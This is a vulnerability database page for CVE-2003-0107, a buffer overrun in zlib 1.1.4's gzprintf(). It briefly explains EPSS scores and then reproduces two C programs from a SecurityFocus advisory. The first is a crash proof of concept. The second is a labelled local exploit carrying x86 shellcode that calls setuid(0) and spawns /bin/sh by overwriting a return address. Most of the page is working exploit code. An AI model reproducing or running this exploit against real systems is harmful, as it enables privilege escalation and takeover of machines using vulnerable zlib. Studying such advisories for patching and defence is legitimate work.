CVE-2003-0107 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/6913/info A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function. Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions. Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected. #include <zlib.h> #include <errno.h> #include <stdio.h> int main(void) { gzFile f; int ret; if(!(f = gzopen("/dev/null", "w"))) { perror("/dev/null"); exit(1); } ret = gzprintf(f, "%10240s", ""); printf("gzprintf -> %d\n", ret); ret = gzclose(f); printf("gzclose -> %d [%d]\n", ret, errno); exit(0); }

// source: https://www.securityfocus.com/bid/6913/info A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function. Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions. Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected. C local exploit for zlib <= 1.1.4 / just for fun..not for root :) \ / Usage: gcc -o zlib zlib.c -lz \ / by CrZ [crazy_einstein@yahoo.com] lbyte [lbyte.void.ru] */ #include <zlib.h> #include <errno.h> #include <stdio.h> int main(int argc, char **argv) { char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; gzFile f; int ret; long xret; char cret[10]; char badbuff[10000]; int i; sprintf(badbuff,"%p",shell); sscanf(badbuff,"0x%x",&xret); printf("[>] exploiting...\n"); if(!(f = gzopen("/dev/null", "w"))) { perror("/dev/null"); exit(1); } printf("[>] xret = 0x%x\n",xret); sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff, (xret>>16)&0xff,(xret>>24)&0xff); bzero(badbuff,sizeof(badbuff)); for(i=0;i<5000;i+=4) strcat(badbuff,cret); setuid(0); setgid(0); ret = gzprintf(stderr, "%s", badbuff ); setuid(0); setgid(0); printf(">Sent!..\n"); printf("gzprintf -> %d\n", ret); ret = gzclose(f); printf("gzclose -> %d [%d]\n", ret, errno); exit(0); }